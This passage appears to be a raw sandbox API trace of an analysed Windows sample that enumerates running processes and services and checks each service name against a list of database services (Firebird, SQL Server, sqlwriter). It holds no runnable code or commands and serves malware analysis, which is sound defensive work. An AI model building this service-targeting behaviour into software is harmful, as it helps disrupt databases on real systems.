hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0136.223] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0136.223] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0136.224] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0136.224] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0136.224] lstrlenW (lpString="taskhostw.exe") returned 13 [0136.224] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0136.225] lstrlenW (lpString="UsoClient.exe") returned 13 [0136.225] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0136.226] lstrlenW (lpString="msoia.exe") returned 9 [0136.226] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0136.226] lstrlenW (lpString="taskhostw.exe") returned 13 [0136.227] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0136.227] lstrlenW (lpString="msoia.exe") returned 9 [0136.227] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0136.228] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0136.228] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0136.229] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0136.229] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0136.229] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0136.229] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0136.230] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0136.230] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0136.231] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0136.231] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0136.232] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0136.232] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0136.233] lstrlenW (lpString="concerned venture.exe") returned 21 [0136.233] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0136.233] lstrlenW (lpString="organizingscsi.exe") returned 18 [0136.233] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0136.318] lstrlenW (lpString="airplane placing.exe") returned 20 [0136.318] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0136.319] lstrlenW (lpString="circus.exe") returned 10 [0136.319] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0136.319] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0136.320] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0136.320] lstrlenW (lpString="das.exe") returned 7 [0136.320] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0136.321] lstrlenW (lpString="beam removable.exe") returned 18 [0136.321] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0136.322] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0136.322] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0136.322] lstrlenW (lpString="dome.exe") returned 8 [0136.322] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0136.323] lstrlenW (lpString="wiresjacket.exe") returned 15 [0136.323] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0136.324] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0136.324] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0136.325] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0136.325] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0136.326] lstrlenW (lpString="tested.exe") returned 10 [0136.326] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0136.327] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0136.327] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0136.330] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0136.330] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0136.331] lstrlenW (lpString="level.exe") returned 9 [0136.331] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0136.332] lstrlenW (lpString="dllhost.exe") returned 11 [0136.332] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0136.333] lstrlenW (lpString="conhost.exe") returned 11 [0136.333] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0136.333] lstrlenW (lpString="conhost.exe") returned 11 [0136.333] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.334] lstrlenW (lpString="svchost.exe") returned 11 [0136.334] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0136.335] lstrlenW (lpString="load0.exe") returned 9 [0136.335] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0136.336] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0136.336] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0136.337] lstrlenW (lpString="conhost.exe") returned 11 [0136.337] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0136.339] lstrlenW (lpString="cmd.exe") returned 7 [0136.340] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0136.363] lstrlenW (lpString="conhost.exe") returned 11 [0136.363] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.440] lstrlenW (lpString="svchost.exe") returned 11 [0136.440] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0136.441] lstrlenW (lpString="mode.com") returned 8 [0136.441] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0136.442] CloseHandle (hObject=0x1014) returned 1 [0136.442] Sleep (dwMilliseconds=0x1f4) [0137.136] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3438 [0137.136] EnumServicesStatusExW (in: hSCManager=0x5e3438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0137.137] GetLastError () returned 0xea [0137.137] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69cb68 [0137.137] EnumServicesStatusExW (in: hSCManager=0x5e3438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69cb68, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69cb68, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0137.138] CloseServiceHandle (hSCObject=0x5e3438) returned 1 [0137.138] lstrlenW (lpString="Appinfo") returned 7 [0137.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0137.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0137.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0137.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0137.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0137.138] lstrlenW (lpString="AppXSvc") returned 7 [0137.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0137.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0137.139] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0137.139] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0137.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0137.139] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0137.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.139] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0137.139] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0137.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0137.139] lstrlenW (lpString="Audiosrv") returned 8 [0137.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0137.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0137.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0137.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0137.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0137.139] lstrlenW (lpString="BFE") returned 3 [0137.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0137.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0137.139] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0137.139] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0137.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0137.139] lstrlenW (lpString="BITS") returned 4 [0137.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0137.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0137.139] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0137.139] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0137.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0137.139] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0137.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0137.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0137.140] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0137.140] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0137.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0137.140] lstrlenW (lpString="CDPSvc") returned 6 [0137.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0137.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0137.140] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0137.140] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0137.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0137.140] lstrlenW (lpString="ClickToRunSvc") returned 13 [0137.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0137.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0137.140] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0137.140] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0137.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0137.140] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0137.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0137.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0137.140] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0137.140] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0137.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0137.140] lstrlenW (lpString="CryptSvc") returned 8 [0137.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0137.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0137.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0137.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0137.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0137.141] lstrlenW (lpString="DcomLaunch") returned 10 [0137.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0137.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0137.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0137.141] lstrlenW (lpString="DeviceAssociationService") returned 24 [0137.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0137.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0137.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0137.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0137.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0137.141] lstrlenW (lpString="Dhcp") returned 4 [0137.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0137.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0137.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0137.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0137.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0137.141] lstrlenW (lpString="Dnscache") returned 8 [0137.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0137.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0137.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0137.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0137.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0137.141] lstrlenW (lpString="DoSvc") returned 5 [0137.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0137.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0137.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0137.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0137.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0137.142] lstrlenW (lpString="DPS") returned 3 [0137.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0137.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0137.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0137.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0137.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0137.142] lstrlenW (lpString="DusmSvc") returned 7 [0137.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0137.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0137.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0137.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0137.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0137.142] lstrlenW (lpString="EventLog") returned 8 [0137.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0137.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0137.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0137.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0137.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0137.142] lstrlenW (lpString="EventSystem") returned 11 [0137.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0137.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0137.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0137.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0137.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0137.142] lstrlenW (lpString="FontCache") returned 9 [0137.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0137.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 